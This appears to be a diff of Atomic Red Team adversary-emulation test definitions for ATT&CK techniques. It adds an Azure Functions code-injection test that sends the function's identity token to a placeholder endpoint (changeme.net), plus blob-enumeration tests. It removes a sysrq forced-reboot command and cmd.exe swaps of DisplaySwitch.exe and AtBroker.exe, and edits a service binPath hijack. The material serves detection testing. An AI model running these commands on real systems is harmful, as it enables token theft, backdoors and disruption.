elevation_required: false
- name: Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
description: |-
This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance.
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
Once executed, the "https://changeme" will retrieve the access token when the function app is executed on behalf of the tenant. The function may be triggered manually from authorized people, triggered in regular intervals, or in various other ways. The access token can then be used to perform further attack steps with the permissions that the function app holds (e.g. listening virtual machines).
Note:
- The Azure Function modified in this test must be hosted via Azure Files in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Blob storage, refer to T1528 "Azure - Functions code upload - Functions code injection via Blob upload".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
- Important: Change the https://changeme.net in code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted e.g. as request bin via Pipedream to display the body of incoming POST requests.
- The default injected code to retrieve the access token can be replaced by arbitrary other code. In this case: Replace the code defined in code_to_insert_path
Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
Execution options: Defined by the input field execution_option
- insert_code: This option (1) downloads the existing funciton code into a tmp file, (2) injects the code from code_to_insert_path at the beginning of the file, and (3) uploads the tampered file to the targeted Azure Function code (Azure File Share File).
- replace_file: This option uploads the function code defined in code_to_insert_path to the targeted Azure Function code (Azure File Share File).
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
execution_option:
type: string
default: insert_code
description: Chooses execution option insert_code, or replace_file
file_share_name:
type: string
default: file_share_name_example
description: Name of the file share that is related to the Function
file_path:
type: path
default: site/wwwroot/function_app.py
description: Path to the Function file in the file share
code_to_insert_path:
type: path
default: $PathToAtomicsFolder/T1528/src/code_to_insert.py
description: The code that will be injected into the Function
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: |-
az login # Log in to Azure CLI
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
# Download file for cleanup
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpOriginalFunctionCode
if ($LASTEXITCODE -eq 0) {
# Upload new funciton code if download of existing code succeeded
if ("#{execution_option}" -eq "insert_code") {
# Download file from file share for injection
$tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpFunctionCode
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code download failed."
exit 1
}
Write-Output "File downloaded: $($tmpFunctionCode)"
$insertContent = Get-Content -Path "#{code_to_insert_path}" -Raw # Load the content of the insert file
$content = Get-Content -Path $tmpFunctionCode -Raw # Inject code to file
$content = $insertContent + "`n" + $content # Insert the new code at the beginning
$content | Set-Content -Path $tmpFunctionCode # Write the modified content to the file
# Upload file to file share
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpFunctionCode --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} elseif ("#{execution_option}" -eq "replace_file") {
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source "#{code_to_insert_path}" --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} else {
Write-Output "Please choose a valid execution_option"
exit 1
}
} else {
Write-Output "Download original function code failed."
exit 1
}
}
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
elevation_required: true
-30
View File
@@ -42,8 +42,6 @@ Adversaries may attempt to shutdown/reboot a system after impacting it in other
- [Atomic Test #15 - ESXi - vim-cmd Used to Power Off VMs](#atomic-test-15---esxi---vim-cmd-used-to-power-off-vms)
- [Atomic Test #16 - Abuse of Linux Magic System Request Key for Reboot](#atomic-test-16---abuse-of-linux-magic-system-request-key-for-reboot)
<br/>
@@ -552,32 +550,4 @@ Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -O
<br/>
<br/>
## Atomic Test #16 - Abuse of Linux Magic System Request Key for Reboot
adversaries with root or sufficient privileges to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can forced to reboot.
**Supported Platforms:** Linux
**auto_generated_guid:** d2a1f4bc-a064-4223-8281-a086dce5423c
#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)
```bash
echo "b" > /proc/sysrq-trigger
```
<br/>
-11
View File
@@ -278,14 +278,3 @@ atomic_tests:
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/power.off $i & done"
name: command_prompt
elevation_required: false
- name: Abuse of Linux Magic System Request Key for Reboot
auto_generated_guid: d2a1f4bc-a064-4223-8281-a086dce5423c
description: |
adversaries with root or sufficient privileges to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can forced to reboot.
supported_platforms:
- linux
executor:
command: |
echo "b" > /proc/sysrq-trigger
name: bash
elevation_required: true
+121 -4
View File
@@ -18,14 +18,131 @@ Adversaries may also obtain then abuse leaked credentials from source repositori
## Atomic Tests
- [Atomic Test #1 - AWS - Scan for Anonymous Access to S3](#atomic-test-1---aws---scan-for-anonymous-access-to-s3)
- [Atomic Test #1 - Azure - Enumerate Azure Blobs with MicroBurst](#atomic-test-1---azure---enumerate-azure-blobs-with-microburst)
- [Atomic Test #2 - Azure - Dump Azure Storage Account Objects via Azure CLI](#atomic-test-2---azure---dump-azure-storage-account-objects-via-azure-cli)
- [Atomic Test #2 - Azure - Scan for Anonymous Access to Azure Storage (Powershell)](#atomic-test-2---azure---scan-for-anonymous-access-to-azure-storage-powershell)
- [Atomic Test #3 - AWS - Scan for Anonymous Access to S3](#atomic-test-3---aws---scan-for-anonymous-access-to-s3)
- [Atomic Test #4 - Azure - Dump Azure Storage Account Objects via Azure CLI](#atomic-test-4---azure---dump-azure-storage-account-objects-via-azure-cli)
<br/>
## Atomic Test #1 - AWS - Scan for Anonymous Access to S3
## Atomic Test #1 - Azure - Enumerate Azure Blobs with MicroBurst
Upon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account.
See https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ .
**Supported Platforms:** Iaas:azure
**auto_generated_guid:** 3dab4bcc-667f-4459-aea7-4162dd2d6590
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| base | Azure blob keyword to enumerate (Example, storage account name) | string | secure|
| output_file | File to output results to | string | $env:temp&#92;T1530Test1.txt|
| wordlist | File path to keywords for search permutations | string | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;permutations.txt|
#### Attack Commands: Run with `powershell`!
```powershell
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
```
#### Cleanup Commands:
```powershell
remove-item #{output_file} -erroraction silentlycontinue
```
#### Dependencies: Run with `powershell`!
##### Description: The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.
##### Check Prereq Commands:
```powershell
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
```
##### Description: The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.
##### Check Prereq Commands:
```powershell
if (test-path "#{wordlist}"){exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt" -outfile "#{wordlist}"
```
<br/>
<br/>
## Atomic Test #2 - Azure - Scan for Anonymous Access to Azure Storage (Powershell)
Upon successful execution, this test will test for anonymous access to Azure storage containers by invoking a web request and outputting the results to a file.
The corresponding response could then be interpreted to determine whether or not the resource/container exists, as well as other information.
See https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
**Supported Platforms:** Iaas:azure
**auto_generated_guid:** 146af1f1-b74e-4aa7-9895-505eb559b4b0
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| base_name | Azure storage account name to test | string | T1530Test2|
| output_file | File to output results to | string | $env:temp&#92;T1530Test2.txt|
| container_name | Container name to search for (optional) | string | |
| blob_name | Blob name to search for (optional) | string | |
#### Attack Commands: Run with `powershell`!
```powershell
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
```
#### Cleanup Commands:
```powershell
remove-item #{output_file} -erroraction silentlycontinue
```
<br/>
<br/>
## Atomic Test #3 - AWS - Scan for Anonymous Access to S3
Upon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder.
**Supported Platforms:** Iaas:aws
@@ -79,7 +196,7 @@ echo Please install the aws-cli and configure your AWS default profile using: aw
<br/>
<br/>
## Atomic Test #2 - Azure - Dump Azure Storage Account Objects via Azure CLI
## Atomic Test #4 - Azure - Dump Azure Storage Account Objects via Azure CLI
This test dumps the content of the storage account objects present in the file defined in file_shares_csv_file_path. Note that this file is created in the atomic test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". When created manually, it must contain the columns "ResourceGroup","StorageAccountName", "FileShareName", "ContainerName", "BlobName".
Requirements:
+81
View File
@@ -1,6 +1,87 @@
attack_technique: T1530
display_name: Data from Cloud Storage Object
atomic_tests:
- name: Azure - Enumerate Azure Blobs with MicroBurst
auto_generated_guid: 3dab4bcc-667f-4459-aea7-4162dd2d6590
description: |
Upon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account.
See https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ .
supported_platforms:
- iaas:azure
input_arguments:
base:
description: Azure blob keyword to enumerate (Example, storage account name)
type: string
default: secure
output_file:
description: File to output results to
type: string
default: $env:temp\T1530Test1.txt
wordlist:
description: File path to keywords for search permutations
type: string
default: PathToAtomicsFolder\..\ExternalPayloads\permutations.txt
dependency_executor_name: powershell
dependencies:
- description: |
The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.
prereq_command: |
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
- description: |
The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.
prereq_command: |
if (test-path "#{wordlist}"){exit 0} else {exit 1}
get_prereq_command: |
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt" -outfile "#{wordlist}"
executor:
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
cleanup_command: |
remove-item #{output_file} -erroraction silentlycontinue
name: powershell
- name: Azure - Scan for Anonymous Access to Azure Storage (Powershell)
auto_generated_guid: 146af1f1-b74e-4aa7-9895-505eb559b4b0
description: |
Upon successful execution, this test will test for anonymous access to Azure storage containers by invoking a web request and outputting the results to a file.
The corresponding response could then be interpreted to determine whether or not the resource/container exists, as well as other information.
See https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
supported_platforms:
- iaas:azure
input_arguments:
base_name:
description: Azure storage account name to test
type: string
default: T1530Test2
output_file:
description: File to output results to
type: string
default: $env:temp\T1530Test2.txt
container_name:
description: Container name to search for (optional)
type: string
default:
blob_name:
description: Blob name to search for (optional)
type: string
default:
executor:
command: |
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
cleanup_command: |
remove-item #{output_file} -erroraction silentlycontinue
name: powershell
- name: AWS - Scan for Anonymous Access to S3
auto_generated_guid: 979356b9-b588-4e49-bba4-c35517c484f5
description: |
+3 -9
View File
@@ -45,24 +45,18 @@ Upon successful execution, cmd will modify the binpath for `Fax` to spawn powers
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| service_name | The name of the service that will be modified | string | Fax|
| service_binpath | The default value for the binary path of the service | string | C:&#92;WINDOWS&#92;system32&#92;fxssvc.exe|
#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)
```cmd
sc config #{service_name} binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start #{service_name}
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start Fax
```
#### Cleanup Commands:
```cmd
sc config #{service_name} binPath= "#{service_binpath}" >nul 2>&1
sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul 2>&1
```
+5 -14
View File
@@ -10,24 +10,15 @@ atomic_tests:
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
supported_platforms:
- windows
input_arguments:
service_name:
description: The name of the service that will be modified
type: string
default: Fax
service_binpath:
description: The default value for the binary path of the service
type: string
default: C:\WINDOWS\system32\fxssvc.exe
executor:
name: command_prompt
elevation_required: true
command: |
sc config #{service_name} binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start #{service_name}
cleanup_command: |
sc config #{service_name} binPath= "#{service_binpath}" >nul 2>&1
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start Fax
cleanup_command:
sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul 2>&1
- name: Service Installation CMD
auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6
description: |
-74
View File
@@ -38,10 +38,6 @@ Other accessibility features exist that may also be leveraged in a similar fashi
- [Atomic Test #8 - Replace Narrator.exe (Narrator binary) with cmd.exe](#atomic-test-8---replace-narratorexe-narrator-binary-with-cmdexe)
- [Atomic Test #9 - Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe](#atomic-test-9---replace-displayswitchexe-display-switcher-binary-with-cmdexe)
- [Atomic Test #10 - Replace AtBroker.exe (App Switcher binary) with cmd.exe](#atomic-test-10---replace-atbrokerexe-app-switcher-binary-with-cmdexe)
<br/>
@@ -357,74 +353,4 @@ copy /Y C:\Windows\System32\Narrator_backup.exe C:\Windows\System32\Narrator.exe
<br/>
<br/>
## Atomic Test #9 - Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe
Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt by pressing the Windows Key + P on the login screen.
**Supported Platforms:** Windows
**auto_generated_guid:** 825ba8ca-71cc-436b-b1dd-ea0d5e109086
#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)
```cmd
IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\DisplaySwitch.exe /A
icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe
```
#### Cleanup Commands:
```cmd
copy /Y C:\Windows\System32\DisplaySwitch_backup.exe C:\Windows\System32\DisplaySwitch.exe
```
<br/>
<br/>
## Atomic Test #10 - Replace AtBroker.exe (App Switcher binary) with cmd.exe
Replace AtBroker.exe (App Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt from the login screen by locking and then unlocking the computer after toggling on any of the accessibility tools in the Accessibility menu.
**Supported Platforms:** Windows
**auto_generated_guid:** 210be7ea-d841-40ec-b3e1-ff610bb62744
#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)
```cmd
IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\AtBroker.exe /A
icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe
```
#### Cleanup Commands:
```cmd
copy /Y C:\Windows\System32\AtBroker_backup.exe C:\Windows\System32\AtBroker.exe
```
<br/>
-32
View File
@@ -169,35 +169,3 @@ atomic_tests:
copy /Y C:\Windows\System32\Narrator_backup.exe C:\Windows\System32\Narrator.exe
name: command_prompt
elevation_required: true
- name: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe
auto_generated_guid: 825ba8ca-71cc-436b-b1dd-ea0d5e109086
description: |
Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt by pressing the Windows Key + P on the login screen.
supported_platforms:
- windows
executor:
command: |
IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\DisplaySwitch.exe /A
icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe
cleanup_command: |
copy /Y C:\Windows\System32\DisplaySwitch_backup.exe C:\Windows\System32\DisplaySwitch.exe
name: command_prompt
elevation_required: true
- name: Replace AtBroker.exe (App Switcher binary) with cmd.exe
auto_generated_guid: 210be7ea-d841-40ec-b3e1-ff610bb62744
description: |
Replace AtBroker.exe (App Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt from the login screen by locking and then unlocking the computer after toggling on any of the accessibility tools in the Accessibility menu.
supported_platforms:
- windows
executor:
command: |
IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\AtBroker.exe /A
icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe
cleanup_command: |
copy /Y C:\Windows\System32\AtBroker_backup.exe C:\Windows\System32\AtBroker.exe
name: command_prompt
elevation_required: true
-3
View File
@@ -539,9 +539,6 @@ This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Win
```powershell
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
-3
View File
@@ -248,9 +248,6 @@ atomic_tests:
default: C:\Windows\System32\calc.exe
executor:
command: |
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
+271
View File
@@ -0,0 +1,271 @@
# T1550.001 - Use Alternate Authentication Material: Application Access Token
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1550/001)
<blockquote>
Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.
Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)
OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)
For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)
Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victims primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)
Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a users AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
</blockquote>
## Atomic Tests
- [Atomic Test #1 - Azure - Functions code upload - Functions code injection via Blob upload](#atomic-test-1---azure---functions-code-upload---functions-code-injection-via-blob-upload)
- [Atomic Test #2 - Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token](#atomic-test-2---azure---functions-code-upload---functions-code-injection-via-file-share-modification-to-retrieve-the-functions-identity-access-token)
<br/>
## Atomic Test #1 - Azure - Functions code upload - Functions code injection via Blob upload
This test injects code into an Azure Function (RCE).
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
Similar to T1550.001 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token", the depicted code injection scenario tampers the source code of Azure Functions to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. In this case, the prepared zip file (underlying package for a Function) is expected to contain the tampered function presented in src/code_to_insert.py. Note that the endpoint https://changeme.net needs to be adapted in your packed function code.
Note:
- The Azure Function modified in this test must be hosted via Azure Blob storage (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Files in a File Share, refer to T1550.001 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
**Supported Platforms:** Iaas:azure
**auto_generated_guid:** 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| storage_account_name | Name of storage account that is related to the Function | string | storage_account_name_example|
| container_name | Name of the container that contains the function blob | string | container_name_example|
| blob_name | Name of the function blob | string | blob_example|
| file_path_blob | Path to the function code file to upload as blob | path | $env:temp/T1550.001_function_code.zip|
#### Attack Commands: Run with `powershell`!
```powershell
az login # Log in to Azure CLI
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
$connectionString = az storage account show-connection-string --name "#{storage_account_name}" --query connectionString --output tsv
# Download blob for cleanup
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
az storage blob download --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file $tmpOriginalFunctionCode --overwrite true
if ($LASTEXITCODE -eq 0) {
# Upload new blob version if download of existing blob succeeded
az storage blob upload --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file "#{file_path_blob}" --overwrite true
} else {
Write-Output "Download original function code failed."
exit 1
}
}
```
#### Cleanup Commands:
```powershell
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
```
#### Dependencies: Run with `powershell`!
##### Description: Azure CLI must be installed
##### Check Prereq Commands:
```powershell
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name Az -Force
```
<br/>
<br/>
## Atomic Test #2 - Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token
This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance.
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
